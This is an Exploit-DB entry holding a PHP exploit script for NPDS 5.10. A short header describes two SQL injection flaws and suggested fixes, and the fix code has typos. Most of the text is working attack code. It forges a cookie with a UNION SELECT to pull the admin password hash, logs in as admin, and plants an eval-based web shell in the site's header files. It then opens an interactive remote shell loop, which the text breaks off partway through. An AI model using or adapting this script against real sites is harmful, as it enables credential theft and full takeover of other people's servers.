Exploit-DB #3855
Description: Net Portal Dynamic System (NPDS) 5.10 - Remote Code Execution (2)
Type: webapps
Platform: php
Date: 2007-05-04
Author: Gu1ll4um3r0m41n

Exploit:
<?php
/*---------------------------------------------------------*\
NPDS <= 5.10 - Remote Code Execution exploit

[|Description:|]
Security holes were found in NPDS 5.10.

NÂ°1: Sql Injection in cookies (File Mainfile.php lines 655 to 691).
No check is carried out on nicknames or Id which can allow an attacker
to modify a SQL request so as to obtain data.

NÂ°2: SQL Injection due to a bad use of "X_FORWARDED_FOR" (file Mainfile.php lines 88 to 110).
NPDS uses the HTTP header "X_FORWARDED_FOR" which normally contains the IP adress
of a person using a non anonymous proxy. This Ip address is used in a SQL resquest without appropriate
filtering, and an attacker can define "X_FORWARDED_FOR" insering malicious SQL code.

[|Advisory:|]
http://www.aeroxteam.fr/advisory-NPDS-5.10.txt

[|Solution:|]
NÂ°1: File mainfile.php, add after line 665:
$cookie[0] = inval($cookie[0);
$cookie[1] = addslashes($cookie[1]);
$cookie[2] = addslashes($cookie[2]);

NÂ°2: Replace fonction "getip" (mainfile.php) by:
function getip() {
	return $_SERVER['REMOTE_ADDR'];
}

Gu1ll4um3r0m41n (aeroxteam --[at]-- gmail --[dot]-- com)
for AeroX (AeroXteam.fr)
(C)opyleft 2007
Gr33tz: Darkfig, Spamm, MathÂ², Barma, NeoMorphS, Snake91, Kad, Nitr0, BlastKiller, Alkino And everybody from #aerox@irc.epiknet.org
\*---------------------------------------------------------*/
if(count($argv) == 5) {
	head();
	echo "\r\n[+] Connection... ";
	$sock = @fsockopen($argv[1], 80, $eno, $estr, 30);
	if (!$sock) {
		die("Failed\r\n\r\nCould not connect to ".$argv[1]." on the port 80 !");
	}
	########
	
	echo "OK\r\n";
	echo "[+] Logging to account... ";
	$reqlogin = "POST ".$argv[2]."user.php HTTP/1.1\r\n";
	$reqlogin .= "Host: ".$argv[1]."\r\n";
	$reqlogin .= "User-Agent: Googlebot/2.1 (+http://www.google.com/bot.html)\r\n";
	$reqlogin .= "Accept: */*\r\n";
	$reqlogin .= "Connection: close\r\n";
	$reqlogin .= "Referer: http://".$argv[1]."".$argv[2]."user.php\r\n";
	$reqlogin .= "Content-Type: application/x-www-form-urlencoded\r\n";
	$reqlogin .= "Content-Length: ".strlen("uname=".$argv[3]."&pass=".$argv[4]."&op=login")."\r\n\r\n";
	$reqlogin .= "uname=".$argv[3]."&pass=".$argv[4]."&op=login";
	fwrite($sock, $reqlogin);
	unset($reqlogin);
	$pagelogin = '';
	while(!feof($sock)) {
		$pagelogin .= fgets($sock);
	}
	fclose($sock);
	preg_match("`Set-Cookie: user=(.*?);`", $pagelogin, $cookie);
	if(empty($cookie[1])) {
		die("Failed\r\n\r\nCould not login as ".$argv[3]." !");
	} else {
		echo "OK\r\n";
	}
	
	if(($decoded = base64_decode($cookie[1])) !== false) {
		$exploded = explode(':', $decoded);
		$exploded[0] = "' UNION SELECT CONCAT(0x[PII_REDACTED], aid, 0x[PII_REDACTED], 0x[PII_REDACTED]53, pwd, 0x[PII_REDACTED]) FROM authors WHERE radminsuper=1 LIMIT 0,1 /*";
		$exploded[8] = 1;
		$cookieuser = base64_encode(implode(':', $exploded));
	}
	########
	
	echo "[+] Getting admin password... ";	
	$sock = @fsockopen($argv[1], 80, $eno, $estr, 30);
	if (!$sock) {
		die("Failed\r\n\r\nCould not connect to ".$argv[1]." on the port 80 !");
	}

	$reqpass  = "GET ".$argv[2]."index.php?op=edito HTTP/1.1\r\n";
	$reqpass .= "Host: ".$argv[1]."\r\n";
	$reqpass .= "User-Agent: Googlebot/2.1 (+http://www.google.com/bot.html)\r\n";
	$reqpass .= "Accept: */*\r\n";
	$reqpass .= "Connection: close\r\n";
	$reqpass .= "Cookie: user=".$cookieuser."; user_language=french\r\n\r\n";
	fwrite($sock, $reqpass);
	unset($reqpass);
	$pagepass = '';
	while(!feof($sock)) {
		$pagepass .= fgets($sock);
	}
	fclose($sock);
	preg_match("`@USER(.*?)USER@ @PASS(.*?)PASS@`", $pagepass, $result);
	unset($pagepass);
	
	if(empty($result[1]) || empty($result[2])) {
		fclose($sock);
		die("Failed !\r\n\r\nMaybe not vulnerable ?!");
	} else {
		echo "OK\r\n";
	}
	########
	
	echo "[+] Login to admin & injecting PHP code... ";
	$sock = @fsockopen($argv[1], 80, $eno, $estr, 30);
	if (!$sock) {
		die("Failed\r\n\r\nCould not connect to ".$argv[1]." on the port 80 !");
	}
	
	$cookieadmin = base64_encode($result[1].':'.md5($result[2]));
	
	$reqshell  = "POST ".$argv[2]."admin.php?op=ConfigFiles_save HTTP/1.1\r\n";
	$reqshell .= "Host: ".$argv[1]."\r\n";
	$reqshell .= "User-Agent: Googlebot/2.1 (+http://www.google.com/bot.html)\r\n";
	$reqshell .= "Accept: */*\r\n";
	$reqshell .= "Connection: close\r\n";
	$reqshell .= "Cookie: admin=".$cookieadmin."; user_language=french\r\n";
	$reqshell .= "Referer: http://".$argv[1]."".$argv[2]."admin.php\r\n";
	$reqshell .= "Content-Type: application/x-www-form-urlencoded\r\n";
	$reqshell .= "Content-Length: ".strlen("Xtxt=".urlencode("<?php\r\n   include(\"modules/aide-contextuelle/AC-header.js\");\r\n   if(!empty(\$_SERVER['PHPSHELL'])){eval(\$_SERVER['PHPSHELL']);die();}\r\n?>")."&Xfiles=header_head&confirm=Sauver+les+modifications")."\r\n\r\n";
	$reqshell .= "Xtxt=".urlencode("<?php\r\n   include_once(\"modules/ipban/ban.php\");\r\n   if(!empty(\$_SERVER['HTTP_PHPCODE'])){eval(urldecode(base64_decode(\$_SERVER['HTTP_PHPCODE'])));die();}\r\n?>")."&Xfiles=header_before&confirm=Sauver+les+modifications";
	fwrite($sock, $reqshell);
	unset($reqshell);
	$pageshell = '';
	while(!feof($sock)) {
		$pageshell .= fgets($sock);
	}
	fclose($sock);
	
	if(preg_match('`location: admin\.php\?op=ConfigFiles`', $pageshell)) { $ok = 1; }
	unset($pageshell);
	
	if(!$ok) {
		die("Failed\r\n\r\nUnable to write PHP Code");
	} else {
		echo "OK\r\n\r\n";
	}
	
	while(1) {
		unset($exec);
		echo "[PhpShell@".$argv[1]."]$ ";
		$input = trim(fgets(STDIN));
		if($input == 'quit' || $input == 'exit') {
			break;
		}
		$sock = @fsockopen($argv[1], 80, $eno, $estr, 30);
		if (!$sock) {
			die("\r\nCould not connect to ".$argv[1]." on the port 80 !");
		}
		$req  = "GET ".$argv[2]."index.php?op=edito HTTP/1.1\r\n";
		$req .= "Host: ".$argv[1]."\r\n";
		$req .= "User-Agent: Googlebot/2.1 (+http://www.google.com/bot.html)\r\n";
		$req .= "Accept: */*\r\n"